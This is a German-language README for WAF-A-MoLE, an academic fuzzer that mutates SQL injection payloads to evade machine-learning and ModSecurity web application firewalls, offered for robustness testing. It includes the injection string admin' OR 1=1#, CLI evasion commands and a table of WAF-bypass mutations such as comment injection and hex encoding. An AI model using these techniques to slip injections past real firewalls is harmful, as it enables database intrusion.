
Ein geführter mutationsbasierter Fuzzer für ML-basierte Web Application Firewalls
Ein geführter mutationsbasierter Fuzzer für ML-basierte Web Application Firewalls, inspiriert von AFL und basierend auf dem FuzzingBook von Andreas Zeller et al.
Gegeben eine SQL-Injection-Abfrage versucht es, eine semantisch invariante Abfrage zu erzeugen, die in der Lage ist, die Ziel-WAF zu umgehen. Sie können dieses Tool verwenden, um die Robustheit Ihres Produkts zu bewerten, indem WAF-A-MoLE den Lösungsraum erkundet, um gefährliche „blinde Flecken“ zu finden, die vom Zielklassifikator nicht abgedeckt werden.

WAF-A-MoLE nimmt eine initiale Payload und fügt sie in den Pool von Payloads ein, der eine Prioritätswarteschlange verwaltet, geordnet nach dem WAF-Konfidenzwert für jede Payload.
Während jeder Iteration wird der Kopf des Payload-Pools an den Fuzzer übergeben, wo er zufällig mutiert wird, indem einer der verfügbaren Mutationsoperatoren angewendet wird.
Mutationsoperatoren sind alle semantikerhaltend und nutzen die hohe Ausdruckskraft der SQL-Sprache (in dieser Version MySQL).
Nachfolgend sind die Mutationsoperatoren aufgeführt, die in der aktuellen Version von WAF-A-MoLE verfügbar sind.
WAF-A-MoLE implementiert die in „WAF-A-MoLE: Evading Web Application Firewalls through Adversarial Machine Learning“ vorgestellte Methodik. Ein Preprint unseres Artikels ist auch auf arXiv verfügbar.
Wenn Sie uns zitieren möchten, verwenden Sie bitte folgende Referenz (BibTeX):
@inproceedings{demetrio20wafamole,
title={WAF-A-MoLE: evading web application firewalls through adversarial machine learning},
author={Demetrio, Luca and Valenza, Andrea and Costa, Gabriele and Lagorio, Giovanni},
booktitle={Proceedings of the 35th Annual ACM Symposium on Applied Computing},
pages={1745--1752},
year={2020}
}
pip install -r requirements.txt
Sie können die Robustheit Ihrer eigenen WAF bewerten oder WAF-A-MoLE gegen einige Beispielklassifikatoren testen. Im ersten Fall werfen Sie einen Blick auf die Model-Klasse. Ihr benutzerdefiniertes Modell muss diese Klasse implementieren, um von WAF-A-MoLE bewertet zu werden. Wir stellen bereits Wrapper für sci-kit learn und keras Klassifikatoren zur Verfügung, die erweitert werden können, um Ihre Merkmalsextraktionsphase (falls vorhanden) anzupassen.
wafamole --help
Usage: wafamole [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
evade Launch WAF-A-MoLE against a target classifier.
wafamole evade --help
Usage: wafamole evade [OPTIONS] MODEL_PATH PAYLOAD
Launch WAF-A-MoLE against a target classifier.
Options:
-T, --model-type TEXT Type of classifier to load
-t, --timeout INTEGER Timeout when evading the model
-r, --max-rounds INTEGER Maximum number of fuzzing rounds
-s, --round-size INTEGER Fuzzing step size for each round (parallel fuzzing
steps)
--threshold FLOAT Classification threshold of the target WAF [0.5]
--random-engine TEXT Use random transformations instead of evolution
engine. Set the number of trials
--output-path TEXT Location were to save the results of the random
engine. NOT USED WITH REGULAR EVOLUTION ENGINE
--help Show this message and exit.
Wir stellen einige vortrainierte Modelle zur Verfügung, mit denen Sie experimentieren können, die sich unter wafamole/models/custom/example_models befinden. Die von uns verwendeten Klassifikatoren sind in der folgenden Tabelle aufgeführt.
Zusätzlich zu ML-basierten WAFs unterstützt WAF-a-MoLE auch regelbasierte WAFs. Insbesondere bietet es einen Wrapper für die ModSecurity WAF mit dem OWASP Core Rule Set (CRS), basierend auf dem pymodsecurity-Projekt.
Umgehen Sie den vortrainierten WAF-Brain-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type waf-brain wafamole/models/custom/example_models/waf-brain.h5 "admin' OR 1=1#"
Umgehen Sie den vortrainierten ML-Based-WAF SVM-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten ML-Based-WAF SVM-Klassifikator mit einem Äquivalent von admin' OR 1=1#. Beachten Sie, dass SQLiV5 ein von Kaggle stammender Datensatz ist, der um eine Reihe von durch WAF-A-MoLE selbst generierten Abfragen erweitert wurde, als Proof of Concept, dass WAF-A-MoLE-Abfragen die Robustheit einer WAF durch erneutes Training verbessern können. Verwenden Sie mlbasedwaf_svc_sqliv3.dump, um die mit dem ursprünglichen Kaggle-Datensatz (SQLiV3) trainierte WAF zu umgehen.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc_sqliv5.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten ML-Based-WAF SGD-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_sgd.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten ML-Based-WAF AdaBoost-Klassifikator mit einem Äquivalent von admin' OR 1=1# (dauert länger als andere Modelle, etwa 2 bis 5 Minuten Laufzeit).
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_ada.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten token-basierten Naive-Bayes-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/naive_bayes_trained.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten token-basierten Random-Forest-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/random_forest_trained.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten token-basierten linearen SVM-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/lin_svm_trained.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten token-basierten Gaußschen SVM-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/gauss_svm_trained.dump "admin' OR 1=1#"
Umgehen Sie den vortrainierten SQLiGOT-Klassifikator mit einem Äquivalent von admin' OR 1=1#.
Verwenden Sie DP, UP, DU oder UU für (jeweils) Directed Proportional, Undirected Proportional, Directed Unproportional und Undirected Unproportional.
wafamole evade --model-type DP wafamole/models/custom/example_models/graph_directed_proportional_sqligot "admin' OR 1=1#"
Umgehen Sie die OWASP ModSecurity CRS mit einem Äquivalent von admin' OR 1=1#.
Der Benutzer muss auch den Paranoia Level sowie den Pfad zu den CRS-Regeln (z. B. /etc/coreruleset) angeben.
wafamole evade --model-type modsecurity_pl[1-4] /etc/coreruleset "admin' OR 1=1#"
VOR DEM START DER BEWERTUNG AUF SQLiGoT
Diese Klassifikatoren sind robuster als die anderen, da die Merkmalsextraktionsphase Vektoren mit einer komplexeren Struktur erzeugt und alle vortrainierten Klassifikatoren stark regularisiert wurden. Es kann Stunden dauern, bis einige Varianten eine Payload erzeugen, die eine Umgehung erreicht (siehe Abschnitt Benchmark).
Hinweis zu neueren ML-Based-WAF-Modellen
Einige Modelle, die auf einer leicht modifizierten Version von vladan-stojnics ML-Based-WAF basieren, wurden kürzlich hinzugefügt, aus einer Erweiterung von WAF-A-MoLE mit dem Titel wafamole++ von nidnogg. Das Testen des AdaBoost-Modells kann länger als üblich dauern (normalerweise 2 bis 5 Minuten).
Es gibt Varianten, die mit dem SQLiV5.json-Datensatz trainiert wurden, während die meisten standardmäßig die ursprüngliche SQL-Injection aus dem WAF-A-MoLE-Datensatz verwenden.
Ein Google Colaboratory Notebook wird mit den Trainingsroutinen für einige dieser Modelle bereitgestellt, unter Verwendung des ursprünglichen WAF-A-MoLE-Datensatzes (modifiziert in das SQLiV5-Format). Jeder Datensatz kann verwendet werden, solange er dasselbe Format wie SQLiV5.json hat.
Erstellen Sie zunächst eine benutzerdefinierte Model-Klasse, die die Methoden extract_features und classify implementiert.
class YourCustomModel(Model):
def extract_features(self, value: str):
# TODO: Merkmale extrahieren
feature_vector = your_custom_feature_function(value)
return feature_vector
def classify(self, value):
# TODO: Konfidenz berechnen
confidence = your_confidence_eval(value)
return confidence
Erstellen Sie dann ein Objekt aus dem Modell und instanziieren Sie ein engine-Objekt, das Ihre Modellklasse verwendet.
model = YourCustomModel() # Ihre Initialisierung
engine = EvasionEngine(model)
result = engine.evaluate(payload, max_rounds, round_size, timeout, threshold)
Wir haben WAF-A-MoLE gegen alle unsere Beispielmodelle evaluiert.
Das folgende Diagramm zeigt die Zeit, die WAF-A-MoLE benötigte, um die Payload admin' OR 1=1# zu mutieren, bis sie von jedem Klassifikator als gutartig akzeptiert wurde.
Auf der x-Achse haben wir die Zeit (in Sekunden, logarithmische Skala). Auf der y-Achse haben wir den Konfidenzwert, d.h. wie sicher ein Klassifikator ist, dass eine bestimmte Payload eine SQL-Injection ist (in Prozent).
Beachten Sie, dass „zu 50 % sicher“ zu sein, dass eine Payload eine SQL-Injection ist, einem Münzwurf entspricht. Dies ist die übliche Klassifikationsschwelle: Wenn die Konfidenz niedriger ist, wird die Payload als gutartig klassifiziert.

Die Experimente wurden auf DigitalOcean Standard Droplets durchgeführt.
Fragen, Fehlerberichte und Pull-Requests sind willkommen.
Insbesondere, wenn Sie an der Erweiterung dieses Projekts interessiert sind, suchen wir nach folgenden Beiträgen:
| Mutation | Beispiel |
|---|
| Case Swapping | admin' OR 1=1# ⇒ admin' oR 1=1# |
| Whitespace Substitution | admin' OR 1=1# ⇒ admin'\t\rOR\n1=1# |
| Comment Injection | admin' OR 1=1# ⇒ admin'/**/OR 1=1# |
| Comment Rewriting | admin'/**/OR 1=1# ⇒ admin'/*xyz*/OR 1=1#abc |
| Integer Encoding | admin' OR 1=1# ⇒ admin' OR 0x1=(SELECT 1)# |
| Operator Swapping | admin' OR 1=1# ⇒ admin' OR 1 LIKE 1# |
| Logical Invariant | admin' OR 1=1# ⇒ admin' OR 1=1 AND 0<1# |
| Number Shuffling | admin' OR 1=1# ⇒ admin' OR 2=2# |
| Klassifikatorname | Algorithmus |
|---|
| WafBrain | Recurrent Neural Network |
| ML-Based-WAF | Non-Linear SVM |
| ML-Based-WAF | Stochastic Gradient Descent |
| ML-Based-WAF | AdaBoost |
| Token-based | Naive Bayes |
| Token-based | Random Forest |
| Token-based | Linear SVM |
| Token-based | Gaussian SVM |
| SQLiGoT - Directed Proportional | Gaussian SVM |
| SQLiGoT - Directed Unproportional | Gaussian SVM |
| SQLiGoT - Undirected Proportional | Gaussian SVM |
| SQLiGoT - Undirected Unproportional | Gaussian SVM |